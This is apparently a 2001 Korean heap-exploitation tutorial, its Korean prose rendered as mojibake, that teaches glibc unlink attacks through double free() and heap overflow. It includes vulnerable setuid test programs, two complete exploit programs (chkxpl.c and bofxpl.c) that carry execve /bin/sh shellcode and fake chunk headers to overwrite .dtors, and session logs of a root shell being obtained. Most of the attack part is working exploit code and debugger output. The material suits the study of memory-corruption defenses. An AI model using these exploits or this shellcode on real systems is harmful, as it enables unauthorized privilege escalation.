======================================================================================= Title: Heap ±â¹Ý free() & malloc() exploit ÀÛ¼ºÇϱâ. Author : À¯µ¿ÈÆ (Xpl017Elz) in INetCop(c). E-mail : szoahc@hotmail.com, xpl017elz@inetcop.org Home: http://x82.i21c.net, http://www.inetcop.org Date: f. 2001/06/12 s. 2001/06/25 ======================================================================================= * Contents - 0x00. How to exploit chunk? 0x01. Test exploit! 0x02. Real exploit. 0x03. Reference. P.S: ¿À·¡°£¸¸¿¡ ´Ù½Ã ¹®¼­¸¦ ÀÛ¼ºÇغ¾´Ï´Ù. ¾ÆÁ÷ ±¹³»¿¡´Â Heap °ø°Ý¿¡ °üÇÑ ¹®¼­°¡ È°¼ºÈ­ µÇÁö ¾ÊÀº °Í °°½À´Ï´Ù. Stack ±â¹ÝÀÇ ¹®¼­¿Í´Â È®¿¬È÷ Â÷ÀÌ°¡ ³ªÁö¿ä. ¾ÕÀ¸·Î ´ëµÎµÉ Heap ±â¹ÝÀÇ Ãë¾àÁ¡¿¡ ´ëÇØ ¿¬±¸Çغ¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. * ¹®¼­ÀÇ ³»¿ëÁß ¿À·ù°¡ ÀÖ´Ù¸é xpl017elz@inetcop.org·Î mail ÁÖ½Ã¸é °¨»çÇÏ°Ú½À´Ï´Ù. [-------------------------------------------------------------------------------------] ¿©±â¼­ ¼Ò°³ÇÏ´Â exploit ¹æ¹ýÀº ÇѶ§ Á¦°¡ ¿¬±¸Çß´ø °ø°Ý±â¹ýÀÔ´Ï´Ù. ÇØ¿Ü¿¡ Phrack #57/9 "Once upon a free()"¶ó´Â ¹®¼­¸¦ Àо¸é Àß ¾Ë°Ô µÉ °ÍÀÔ´Ï´Ù. ÀÌ ±â¹ýÀÌ º»°ÝÀûÀ¸·Î issue µÈ °ÍÀº Synnergy ÆÀÀÇ dvorakÀÇ traceroute exploit method¸¦ ¹®¼­¿¡ °ø°³Çϸ鼭 ºÎÅÍÀÔ´Ï´Ù. ÀÌ °ø°Ý¹æ¹ý¿¡ Á¦°¡ °ü½ÉÀ» °®°Ô µÈ °ÍÀº WU-FTPd 2.6.1 Heap Ãë¾àÁ¡ÀÌ Ã³À½ ¹ßÇ¥µÇ¾úÀ» ¶§·Î °Å½½·¯ ¿Ã¶ó°¡°Ô µË´Ï´Ù. ´ç½Ã ÀÌ¿¡ °ü·ÃµÈ ¹®¼­´Â Synnergy ÆÀÀÇ ¹®¼­¿Í PhrackÀÇ ¹®¼­¹Û¿¡ Á¢ÇÒ¼ö ¾ø¾ú½À´Ï´Ù. ÀúÀÇ ¸ðÀÚ¶õ ¿µ¾î ½Ç·Â¿¡µµ ºÒ±¸ÇÏ°í ¹®¼­µéÀ» ÇϳªÇϳª¾¿ Çؼ®Çϸç, ÀüºÎ Àоú´ø ¶§°¡ ¶°¿À¸£³×¿ä ... ; ±×·¸°Ô ½Ã°£ÀÌ È帥µÚ À̹ø³â 3¿ù°æ? PhrackÀÇ ¹®¼­°¡ ±¹³» ÇØÅ·±×·ì null@root ÆÀ¿¡¼­ ¹ø¿ªµÇ¾ú´Ù´Â »ç½ÇÀ» µÚ´Ê°Ô ¾Ë°Ô µÇ¾ú½À´Ï´Ù. ±×¸®°í, ¾ó¸¶Àü truefinder´ÔÀÇ ¹®¼­µµ Á¢ÇÒ¼ö ÀÖ¾ú½À´Ï´Ù. ´ç½Ã, È¥ÀÚ ¿¬±¸ÇÏ°í ÀÖ´ø Àú·Î½á´Â ¸Å¿ì ¹Ý°¡¿î ÀÏÀ̾ú½À´Ï´Ù. ±×ºÐµé²² °¨»çµå¸³´Ï´Ù. :-) Àú ¿ª½Ã ´Ù¸¥ºÐµé²² Àڱ׸¶ÇÑ Áö½ÄÀ» °øÀ¯Çϱâ À§ÇØ, ±Û Çϳª¸¦ ¿Ã¸®µµ·Ï ÇÏ°Ú½À´Ï´Ù. ¹°·Ð WU-FTPd°¡ issue ¿´À» ´ç½Ã Á¦°¡ ÀÛ¼ºÇß´ø exploit°ú traceroute exploitÀ» ÷ºÎÇÏ¿© ¿Ã¸®µµ·Ï ÇÏ°Ú½À´Ï´Ù. ºÎµð ºÎÁ·Çϳª¸¶ µµ¿òÀÌ µÇ±æ º÷´Ï´Ù. ¾Õ¿¡¼­ ¼³¸í µå¸®´Â ºÎºÐÀº ÀÌ¹Ì ¿©·¯ ¹®¼­µéÀ» ÅëÇØ º¸¾Ò´ø ³»¿ëÀÏ °ÍÀÔ´Ï´Ù. °£´ÜÇÏ°Ô ¼³¸íÇÑ ÈÄ ³Ñ¾î°¡µµ·Ï ÇÏ°Ú½À´Ï´Ù. 0x00. How to exploit chunk? exploitÀÌ °¡´ÉÇÑ Ãë¾à ȯ°æÀº malloc() ÇÔ¼öÀÇ ¼±¾ð ÈÄ free() ÇÔ¼ö¸¦ ¿¬¼ÓÀûÀ¸·Î È£ÃâÇÒ¶§ ÀϾ¼ö ÀÖ½À´Ï´Ù. ÀÌ°ÍÀº double free() Ãë¾àÁ¡À̶ó ºÒ¸®¸ç, ±âÁ¸¿¡ °³¹ßµÈ ¿©·¯ heap Ãë¾àÁ¡ exploit¿¡¼­ ±× ÇüŸ¦ Á¶±ÝÀ̳ª¸¶ ¾Ë ¼ö ÀÖ½À´Ï´Ù. ¸ÕÀú, chunk¿¡ ´ëÇØ ¹è¿öº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. chunkÀÇ ±¸¼ºÀº bins management¶ó´Â ¾Ë°í¸®ÁòÀ» »ç¿ëÇÏ°í ÀÖ½À´Ï´Ù. malloc() ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© µ¿Àû ¸Þ¸ð¸®¸¦ ±¸¼ºÇϸé heap»ó¿¡ chunk¸¦ ¼±¾ðÇÏ°Ô µË´Ï´Ù. ÀÌ ÀڷᱸÁ¶ÀÇ Á¤º¸´Â ´ÙÀ½°ú °°½À´Ï´Ù. - »ç¿ëÀÚ°¡ ¼±¾ðÇÑ ¸Þ¸ð¸® Å©±â - ÀÌÀü¿¡ ¼±¾ðµÈ chunkÀÇ Á¤º¸ - ½ÇÁ¦ ¾²¿©Áö´Â ¸Þ¸ð¸® ¿µ¿ª - ±¸Á¶ÀÇ À¯Áö¸¦ À§ÇØ ÀÌÁß¿¬°á ¸ñ·Ï Æ÷ÀÎÅ͵é (Forward pointer, Back pointer) char *mem = (char*)malloc(20); memÀº ¾Æ·¡ µµ½ÄÈ­µÈ ±×¸²ÀÇ pointer ÀÔ´Ï´Ù. * malloc() ¼±¾ðÈÄ - +-----------------------------+ <- chunk | »ç¿ëÁßÀÎ ÀÌÀü chunkÀÇ Å©±â | +-----------------------------+ | chunkÀÇ Å©±â |P| +-----------------------------+ <- mem | »ç¿ëÀÚ ÀÚ·áÀÇ ½ÃÀÛ ºÎºÐ | +-----------------------------+ | chunkÀÇ Å©±â | +-----------------------------+ <- ´ÙÀ½ chunk * »ç¿ëÁ¾·á¸¦ À§ÇØ free()ÈÄ - +-----------------------------+ <- chunk | »ç¿ëÁßÀÎ ÀÌÀü chunk Å©±â | +-----------------------------+ | chunkÀÇ Å©±â |P| +-----------------------------+ <- mem | ´ÙÀ½À» °¡¸®Å°´Â chunk ±¸Á¶ | +-----------------------------+> ÀÌÁß¿¬°á ¸ñ·Ï±¸Á¶ | ÀÌÀüÀ» °¡¸®Å°´Â chunk ±¸Á¶ | +-----------------------------+ | »ç¿ëµÇÁö ¾Ê´Â °ø°£ | +-----------------------------+ <- ´ÙÀ½ chunk | chunkÀÇ Å©±â | +-----------------------------+ free() °úÁ¤ Áß °¢ chunk¸¦ °ü¸®ÇÒ ¶§ »ç¿ë ÁßÀÌÁö ¾ÊÀº ÀÌÀü chunk³ª ÀÌÈÄÀÇ chunk¿¡ ´ëÇØ º´ÇÕ°úÁ¤À» ¼öÇàÇÕ´Ï´Ù. ÀÌ º´Çսà ÀÌÁß¿¬°á ¸ñ·ÏÀÇ °¢ pointerµéÀÌ ¹Ù²î´Â ½ÃÁ¡¿¡¼­ ¹®Á¦°¡ ¹ß»ýÇÏ°Ô µË´Ï´Ù. ÀÌ ³»¿ëÀº Phrack¿¡ ÀÚ¼¼È÷ ¼³¸íµÇ¾î ÀÖ½À´Ï´Ù. À§ÀÇ "P"(PREV_INUSE)´Â chunkÀÇ »ç¿ë¿©ºÎ¸¦ Ç¥½ÃÇÕ´Ï´Ù. À̶§ "P" flag°¡ 1·Î Ç¥½ÃµÇ¾î ÀÖÀ» ¶§´Â ÀÌÀü chunk°¡ »ç¿ë ÁßÀ̱⠶§¹®¿¡ º´ÇÕÇÏÁö ¾Ê½À´Ï´Ù. free()°¡ ¼öÇàµÇ¸é, ÀÌÀü chunk´Â º´ÇÕÇÏ°Ô µÉ °ÍÀÔ´Ï´Ù. ½ÇÁ¦ÀûÀ¸·Î ¹®Á¦°¡ µÇ´Â ºÎºÐÀº unlink ¸ÅÅ©·Î ºÎºÐÀÔ´Ï´Ù. ÀÌ´Â ÀÌÁß¿¬°á ¸ñ·ÏÀÇ °¢ ÀÌÀü°ú ´ÙÀ½ Æ÷ÀÎÅ͸¦ ¹Ù²ß´Ï´Ù. BK = P -> bk; BK -> fd = FD; FD = P -> fd; FD -> bk = BK; Overflow Ãë¾àÁ¡À» ÀÌ¿ëÇÏ¿© ¿ì¸®°¡ chunkÀÇ ¼öÁ¤±ÇÇÑÀ» °¡Áö°í ÀÖ´Ù¸é, °¡Â¥ chunk¸¦ ÀÛ¼ºÇÏ¿© °ø°ÝÀÚ°¡ ¿øÇÏ´Â ÁÖ¼ÒÀÇ ¿µ¿ªÀ» µ¤À» ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. °¡Â¥ chunk headerÀÇ ÀÛ¼ºÀº °£´ÜÇÕ´Ï´Ù. °ø°ÝÀÚ°¡ ÀÛ¼ºÇÑ free()°¡ ¼öÇàµÉ ¼ö ÀÖµµ·Ï ´ÙÀ½°ú °°ÀÌ ÀÛ¼ºÇÒ ¼ö ÀÖ½À´Ï´Ù. ------------------------------------------------------------------------- [ prev_size ] [ size (P)] [ fd ] [ bk ] prev_size: ÀÌÀü chunkÀÇ Å©±â°ª. size (P): ¸Þ¸ð¸®ÀÇ ÇöÀç data section Å©±â. fd : ´ÙÀ½À» °¡¸®Å°´Â chunk ±¸Á¶. bk : ÀÌÀüÀ» °¡¸®Å°´Â chunk ±¸Á¶. ------------------------------------------------------------------------- °ø°ÝÀÚ´Â ¿Ã¹Ù¸¥ °ø°Ý¼öÇàÀ» À§ÇØ prev_size¿Í sizeºÎºÐÀÇ °ªÀ» Á¶°Ç¿¡ ¸Â°Ô ±¸¼ºÇÕ´Ï´Ù. ¸ÕÀú, ÀÐÇôÁú Æ÷ÀÎÅÍ·Î º´ÇյDZâ À§Çؼ­´Â ¾ÆÁÖ ÀÛÀº °ªÀ» »ç¿ëÇØ¾ß ÇÕ´Ï´Ù. À̶§ Null byte¸¦ ÇÇÇϱâ À§Çؼ­ ¸Å¿ì Å« °ªÀ» »ç¿ëÇϱ⵵ ÇÕ´Ï´Ù. ¸¸¾à °ø°ÝÀÚ°¡ PREV_INUSE °ªÀ» ¿ìȸÇϴµ¥ ¼º°øÇÏ¸é º´ÇÕÀÇ °úÁ¤À» °ÅÄ¥ ¼ö ÀÖ°Ô µË´Ï´Ù. ±× ´ÙÀ½¿¡´Â fd(Forward pointer)¿Í bk(Back pointer)¸¦ ±¸¼ºÇØ¾ß ÇÕ´Ï´Ù. Forward Pointer´Â µ¤¾î¾²°íÀÚ ÇÏ´Â °÷ÀÇ 12byte¸¦ ´õÇÑ ÁÖ¼Ò¿¡ ƯÁ¤°ªÀ» ¾¹´Ï´Ù. ±×·¯¹Ç·Î exploit¿¡´Â Ç×»ó "retloc - 0x0c"ÀÇ °úÁ¤À» °ÅĨ´Ï´Ù. --- * ¸¸µé¾îÁö´Â °¡Â¥ chunk exploitÀÇ ±¸Á¶ ------------------------------ [(0xfffffffc), (0xffffffff), (got & .dtors - 0x0c), (&shellcode)] ------------------------------------------------------------------------- ¸¶Áö¸·À¸·Î exploit½Ã ÁÖÀÇÇÒ Á¡Àº ¿ì¸®°¡ ¿øÇÏ´Â shellcodeÀÇ ÁÖ¼Ò ´ÙÀ½ 8byte ºÎºÐ¿¡ unlink ¸ÅÅ©·Î¿¡ ÀÇÇØ ¿øÇÏÁö ¾ÊÀº ÁÖ¼Ò°ªÀÌ µ¤¾î¾º¿öÁö°Ô µÈ´Ù´Â »ç½ÇÀÔ´Ï´Ù. ÀÌ ¶§¹®¿¡ ½ÇÁ¦ NOP°¡ Á¸ÀçÇÏ´Â ¿µ¿ªÀÇ address¸¦ Global offset tableÀ̳ª .dtors entri¿¡ µ¤¾î¾´´Ù°í Çصµ shellÀÌ Á¤»óÀûÀ¸·Î ½ÇÇàµÇÁö ¾ÊÀ» ¼ö ÀÖ½À´Ï´Ù. ±×·¸±â ¶§¹®¿¡ ±âÁ¸ÀÇ x86 exploitµé°ú´Â ¾à°£ ´Ù¸¥ code¸¦ »ý¼ºÇØ¾ß ÇÕ´Ï´Ù. ±¸¼ºÀº ´ÙÀ½°ú °°À» °ÍÀÔ´Ï´Ù. --- * RetaddrÀÇ 8byteÈÄÀÇ ³»¿ë Æı«¸¦ ³Ñ±â±â À§ÇØ ÀÛ¼ºÇÑ shellcode ------- "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "linux x86 shellcode"; ------------------------------------------------------------------------- À§ÀÇ code´Â 10byte¸¦ µÚ·Î jumpÇØ ³ª°©´Ï´Ù. ÀÚ, ±×·³ ½ÇÁ¦ ȯ°æ¿¡¼­ exploit Çغ¸µµ·Ï ÇսôÙ. 0x01. Test exploit! Áö±ÝºÎÅÍ °£´ÜÇÏ°Ô Ãë¾àÇÑ ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ¿© exploit Çغ¼ °ÍÀÔ´Ï´Ù. (*Happy exploit!) ´ÙÀ½Àº exploitÇÒ chunk¶ó´Â ÇÁ·Î±×·¥ÀÔ´Ï´Ù. [= source: chunk.c =====================================================] /* Test-c0de by Xpl017Elz. */ #include int main(int argc, char **argv) { char *x1 = (char*) malloc(100); char *x2 = (char*) malloc(100); if(argc < 2) { printf("arg\n"); exit(-1); } strcpy(x1, argv[1]); free(x1); free(x2); } [=======================================================================] [x82@xpl017elz chunk]$ su Password: [root@xpl017elz chunk]# gcc -o chunk chunk.c [root@xpl017elz chunk]# chmod 6755 chunk [root@xpl017elz chunk]# ls -al chunk -rwsr-sr-x 1 root root 12139 May 23 12:14 chunk [root@xpl017elz chunk]# exit exit [x82@xpl017elz chunk]$ ¸ÕÀú °£´ÜÇÏ°Ô testÇÒ exploit ȯ°æÀ» ¸¸µé¾î º¸¾Ò½À´Ï´Ù. ÇÁ·Î±×·¥Àº ¾ÆÁÖ ±âº»ÀûÀÎ Heap±â¹ÝÀÇ malloc() & free() Ãë¾àÁ¡¿¡ ³ëÃâµÇ¾î ÀÖ½À´Ï´Ù. ---------------------------------------------------------------------------- [x82@xpl017elz chunk]$ cp chunk bak [x82@xpl017elz chunk]$ gdb -q bak (gdb) r `perl -e 'print "x"x99'` Starting program: /tmp/chunk/bak `perl -e 'print "x"x99'` Program exited with code 0100. (gdb) r `perl -e 'print "x"x100'` Starting program: /tmp/chunk/bak `perl -e 'print "x"x100'` Program received signal SIGSEGV, Segmentation fault. 0x40071ee9 in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c:3047 3047 malloc.c: ±×·± ÆÄÀÏÀ̳ª µð·ºÅ丮°¡ ¾øÀ½. (gdb) where #0 0x40071ee9 in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c: #1 0x40071d75 in __libc_free (mem=0x8049808) at malloc.c:2959 #2 0x80484ff in main () #3 0x400311eb in __libc_start_main (main=0x80484a0
, argc=2, argv=0xbffffa84, init=0x8048328 <_init>, fini=0x804853c <_fini>, rtld_fini=0x4000a610 <_dl_fini>, stack_end=0xbffffa7c) at ../sysdeps/generic/libc-start.c:90 (gdb) x/10 0x8049800 0x8049800: 0x00000000 0x00000069 0x78787878 0x78787878 0x8049810: 0x78787878 0x78787878 0x78787878 0x78787878 0x8049820: 0x78787878 0x78787878 (gdb) ---------------------------------------------------------------------------- Segmentation fault°¡ ÀϾ °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ±×·¸´Ù¸é ¿ì¸®°¡ ¾Õ¼­ °øºÎÇÑ À̷аú °°ÀÌ exploitÀ» coding Çغ¾½Ã´Ù. ÀÌ ÀÛ¾÷Àº ¸Å¿ì ¹Î°¨ÇÑ ºÎºÐÀÔ´Ï´Ù. Á¤È®È÷ segfault ÁöÁ¡À» ±â¾ïÇÏ°í, ±âŸ ... ¿©·¯ °¡Áö ÇÊ¿äÇÑ Á¤º¸ »çÇ×µéÀ» debugging ÇÏ¿© ¾Ë¾Æ³»¾ß ÇÒ °ÍÀÔ´Ï´Ù. À§ ÇÁ·Î±×·¥ÀÇ exploitÀº ´ÙÀ½°ú °°ÀÌ ÀÛ¼ºÇÒ ¼ö ÀÖ½À´Ï´Ù. [= source: chkxpl.c ====================================================] /* Test Xploit-c0de by Xpl017Elz. */ #include #define DTORS 0x08049584 #define SHELLCODE 0x41414141 /* testingÈÄ, &shellcode ÁÖ¼Ò·Î º¯°æµË´Ï´Ù. */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { char x0x[200]; memset(x0x, 0, 200); memset(x0x, 0x90, 96); /* 96byteÀÇ ³»¿ëÀ» NOP·Î ä¿ó´Ï´Ù. */ memcpy(x0x+38, shellcode, strlen(shellcode)); /* ÀÌ ºÎºÐ¿¡ shellcode¸¦ Áý¾î³Ö½À´Ï´Ù. */ /* ** ¿ì¸®°¡ retloc¿¡ µ¤¾î¾´ shellcode + 8byte ÁÖ¼Ò¸¦ ** ³Ñ¾î°¡±â À§ÇØ ÀÛ¼ºÇÕ´Ï´Ù. */ *(long*)&x0x[16] = 0x0ceb0ceb; *(long*)&x0x[96] = 0xfffffffc; /* Fake Chunk header. */ *(long*)&x0x[100] = 0xffffffff; *(long*)&x0x[104] = DTORS - 12; // .dtors¸¦ µ¤¾î¾¹´Ï´Ù. *(long*)&x0x[108] = SHELLCODE; // &shellcode ÁÖ¼ÒÀÔ´Ï´Ù. execl("./bak", "bak", x0x, 0); // ¸ÕÀú ¿ì¸®ÀÇ bak ÇÁ·Î±×·¥À» test Çغ¸¾Æ¾ß ÇÕ´Ï´Ù. /* execl("./chunk", "chunk", x0x, 0); // Ãë¾à ÇÁ·Î±×·¥À» exploit. */ } [=======================================================================] ¸ÕÀú testing Çغ¸°Ú½À´Ï´Ù. ---------------------------------------------------------------------------- [x82@xpl017elz chunk]$ gcc -o chkxpl chkxpl.c [x82@xpl017elz chunk]$ [x82@xpl017elz chunk]$ ./chkxpl Segmentation fault [x82@xpl017elz chunk]$ gdb -q chkxpl (gdb) r Starting program: /tmp/chunk/chkxpl Program received signal SIGTRAP, Trace/breakpoint trap. 0x40001780 in _start () at rtld.c:142 142 rtld.c: ±×·± ÆÄÀÏÀ̳ª µð·ºÅ丮°¡ ¾øÀ½. (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x40071eec in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c:3047 3047 malloc.c: ±×·± ÆÄÀÏÀ̳ª µð·ºÅ丮°¡ ¾øÀ½. (gdb) x/10 0x08049584 0x8049584 : 0x41414141 0x080495b8 0x400126b0 ... ~~~~~~~~~~ 0x8049594 : 0x400f78e0 0x4007133c 0x0804838e 0x80495a4 : 0x080483ae 0x080483be (gdb) x/10 0x8049800 0x8049800: 0x00000000 0x00000069 0x90909090 0x90909090 0x8049810: 0x90909090 0x90909090 0x0ceb0ceb 0x90909090 ~~~~~~~~~~ 0x8049820: 0x90909090 0x90909090 (gdb) 0x8049828: 0x90909090 0x1feb9090 0x0876895e 0x4688c031 0x8049838: 0x0c468907 0xf3890bb0 0x8d084e8d 0x80cd0c56 0x8049848: 0xd889db31 0xe880cd40 (gdb) ---------------------------------------------------------------------------- ¿ª½Ã ¿¹»ó´ë·Î .dtorsÀÇ ³»¿ëÀ» ¿ì¸®°¡ ¿øÇÏ´Â °ªÀÎ 0x41414141·Î µ¤¾î¾²´Âµ¥ ¼º°øÇß½À´Ï´Ù. »Ó¸¸ ¾Æ´Ï¶ó 0x0ceb0cebÀÇ ÁÖ¼Ò°ªµµ ¾Ë¾Æ³¾ ¼ö ÀÖ¾ú½À´Ï´Ù. 0x8049818¿¡ Á¸ÀçÇÏ°í ÀÖ´Â °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. ÀÛ¼ºµÈ exploit¿¡ &shellcode °ª(0x41414141)ÀÇ ³»¿ëÀ» ¾Õ¼­ ±¸ÇÑ 0x08049818 ÁÖ¼Ò°ªÀ¸·Î º¯°æÇÕ´Ï´Ù. ±×¸®°í ½ÇÁ¦ "./chunk" ÇÁ·Î±×·¥À» ½ÇÇàÇϱâ À§ÇØ ÁÖ¼®À» Áö¿ì°í ÄÄÆÄÀÏÇÕ´Ï´Ù. ---------------------------------------------------------------------------- [x82@xpl017elz chunk]$ gcc -o chkxpl chkxpl.c [x82@xpl017elz chunk]$ ./chkxpl bash# whoami root bash# id uid=500(x82) gid=500(x82) euid=0(root) egid=0(root) groups=500(x82) bash# exit exit [x82@xpl017elz chunk]$ ---------------------------------------------------------------------------- »õ·Î¿î "#"-RootShellÀÌ ½ÇÇàµÇ¾ú½À´Ï´Ù. :-) À§ÀÇ °æ¿ì´Â ¸Å¿ì ´Ü¼øÇÑ Heap ±â¹ÝÀÇ malloc() & free() exploit ÀÔ´Ï´Ù. Heap ±â¹ÝÀÇ malloc() & free() Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â ÇÁ·Î±×·¥Àº »ó´ç¼ö Á¸ÀçÇÕ´Ï´Ù. ÀÌ¹Ì Ãë¾àÁ¡ÀÌ ¹ßÇ¥µÇ¾ú´ø ÇÁ·Î±×·¥À» Á÷Á¢ ã¾Æ exploit Çغ¸´Â °Íµµ, ¿¬±¸¿¡ ¸Å¿ì ¸¹Àº µµ¿òÀÌ µÉ °ÍÀÔ´Ï´Ù. À̹ø¿£, Wargame ¹®Á¦Áß ... ¾ÆÁÖ Àç¹ÌÀÖ´Â Heap ±â¹ÝÀÇ °ø°Ý Source Code¸¦ exploit Çغ¸µµ·Ï ÇսôÙ. [= source: bof.c =======================================================] /* omg stop the insanity! */ #define BUF 514 #include int main() { char *ptr = (char *)malloc(BUF); char *ptr2 = (char *)malloc(15); printf("crypt() a pass\n"); printf("Key: "); fgets(ptr2,15,stdin); printf("Pass: "); sec_get(ptr); printf("crypted pass: %s\n",crypt(ptr,ptr2)); free(ptr2); free(ptr); } int sec_get(char *buf) { int i = 0; char stuff[1024]; fgets(stuff,sizeof(stuff),stdin); for(i=1;stuff[i] != ' ';i++); if (i <= BUF) { strcpy(buf,stuff); } else { printf("*bounds checking kicks you in the ass\n"); exit(-1); } } [=======================================================================] [x82@xpl017elz chunk]$ su Password: [root@xpl017elz chunk]# gcc -o bof bof.c ch/tmp/ccHOeZtH.o: In function `main': /tmp/ccHOeZtH.o(.text+0x77): undefined reference to `crypt' collect2: ld returned 1 exit status [root@xpl017elz chunk]# gcc -o bof bof.c -lcrypt [root@xpl017elz chunk]# chown 6755 bof [root@xpl017elz chunk]# exit exit [x82@xpl017elz chunk]$ [x82@xpl017elz chunk]$ ./bof crypt() a pass Key: AA Pass: PASSWORD crypted pass: AAcvPvtmBfCNg [x82@xpl017elz chunk]$ Salt 2byte¿Í Password¸¦ ¹Þ¾Æ ¾ÏȣȭÇÏ´Â ÇÁ·Î±×·¥ÀÔ´Ï´Ù. source code¸¦ Àо¸é ¾Æ½Ã°ÚÁö¸¸ ¾à°£ÀÇ Àç¹ÌÀÖ´Â trickingÀ» ±¸¼ºÇÒ ¼ö ÀÖ½À´Ï´Ù. ¿©±â¼­ Áß¿äÇÑ °ÍÀº sec_get() ÇÔ¼öÀÔ´Ï´Ù. ÇÔ¼ö¸¦ ºÐ¼®Çغ¸¸é ´ÙÀ½°ú °°½À´Ï´Ù. - ´ÙÀ½ sec_get() ÇÔ¼ö¿¡¼­ ptrÀ» Overflow ½Ãų ¼ö ÀÖ´Â Ãë¾àÁ¡ ¹ß»ý. -------- : : int sec_get(char *buf) { int i = 0; char stuff[1024]; /* ** 1024byte¸¦ ¹Þ½À´Ï´Ù. ** ¿©±â¼­ 514byte¸¦ ÃÊ°úÇϹǷΠbof°¡ ÀϾ ¼ö ÀÖ½À´Ï´Ù. */ fgets(stuff,sizeof(stuff),stdin); for(i=1;stuff[i] != ' ';i++); /* blank °ø°£À» ã½À´Ï´Ù. */ if (i <= BUF) { // blank °ø°£±îÁöÀÇ °ªÀ» 514º¸´Ù À۰ųª °°ÀºÁö Á¶»çÇÕ´Ï´Ù. strcpy(buf,stuff); /* Á¶°ÇÀÌ ¼º¸³µÇ¸é, strcpy¸¦ ¼öÇàÇÕ´Ï´Ù. :-) */ } else { printf("*bounds checking kicks you in the ass\n"); exit(-1); : : --------------------------------------------------------------------------- ÀÌ ºÎºÐ¿¡¼­ Áß¿äÇÑ Á¡Àº 0x20(space key)ÀÎ blank°ªÀ» Á¶»çÇÏ¿© °ªÀ» ºñ±³ ÈÄ strcpy¸¦ ¼öÇàÇÑ´Ù´Â Á¡ÀÔ´Ï´Ù. ±×·¸´Ù¸é, ¿ì¸®´Â ´ÙÀ½°ú °°ÀÌ exploit ±¸Á¶¸¦ »ý°¢ÇÒ ¼ö ÀÖ½À´Ï´Ù. [NOP (shellcode), (0x0ceb0ceb x 4), (shellcode), (0x20202020)] [(0xfffffffc), (0xffffffff), (.dtors - 0x0c), (&shellcode)] ´ÙÀ½°ú °°ÀÌ exploit ÇÕ´Ï´Ù. [= source: bofxpl.c ====================================================] /* bab0 free Xploit-c0de by Xpl017Elz. */ #include #define DTORS 0x080497a4 /* .dtors */ #define SHELLCODE 0x41414141 /* test &shellc0de */ char shellcode[] = /* 12byte jumpc0de + NOP + execve() shellc0de */ "\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { char x0x[0x258]; memset(x0x, 0, 0x258); memset(x0x, 0x90, 0x202); memcpy(x0x + 0x00c8, shellcode, strlen(shellcode)); *(long*)&x0x[508] = 0x20202020; /* blank */ // fake chunk header :-p *(long*)&x0x[512] = 0xfffffffc; *(long*)&x0x[516] = 0xffffffff; *(long*)&x0x[520] = DTORS - 0x0c; /* .dtors - 12 */ *(long*)&x0x[524] = SHELLCODE; /* &shellc0de */ printf("x82\n"); printf("%s", x0x); } [=======================================================================] À§ÀÇ exploitÀ» ÀÌ¿ëÇØ debugging ÈÄ shellcodeÀÇ À§Ä¡¸¦ ¾Ë¾Æ³À´Ï´Ù. ±× ÈÄ ¾Ë¾Æ³½ codeÀÇ À§Ä¡ ¹× offsetµîÀ» setting ÇÑ µÚ Àû¿ëÇغ¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. ---------------------------------------------------------------------------- [x82@xpl017elz chunk]$ cp bof bak [x82@xpl017elz chunk]$ gcc -o bofxpl bofxpl.c [x82@xpl017elz chunk]$ ./bofxpl > test [x82@xpl017elz chunk]$ gdb -q bak (gdb) r < test Starting program: ./bak < test crypt() a pass Key: Pass: crypted pass: ˜—fXqOlJuC86Q Program received signal SIGSEGV, Segmentation fault. 0x4009feec in chunk_free (ar_ptr=0x40134040, p=0x8049a38) at malloc.c:3047 3047 malloc.c: ±×·± ÆÄÀÏÀ̳ª µð·ºÅ丮°¡ ¾øÀ½. (gdb) x/10 0x080497a4 0x80497a4 <__DTOR_END__>: 0x41414141 0x080497e4 0x400126b0 ~~~~~~~~~~ 0x80497b4 <_GLOBAL_OFFSET_TABLE_+12>: 0x401258e0 0x4009f33c ... 0x80497c4 <_GLOBAL_OFFSET_TABLE_+28>: 0x4005f0ec 0x40093f4c (gdb) x/80 $esp-1000 0xbffff674: 0x00000210 0x400a4420 0x4000a610 0xbffffa94 0xbffff684: 0x0804867f 0x08049a40 0xbffff690 0x90909090 0xbffff694: 0x90909090 0x90909090 0x90909090 0x90909090 ... 0xbffff734: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff744: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff754: 0x90909090 0x0ceb0ceb 0x0ceb0ceb 0x0ceb0ceb ~~~~~~~~~~ 0xbffff764: 0x0ceb0ceb 0x90909090 0x90909090 0x0ceb0ceb 0xbffff774: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff784: 0x90909090 0x90909090 0x90909090 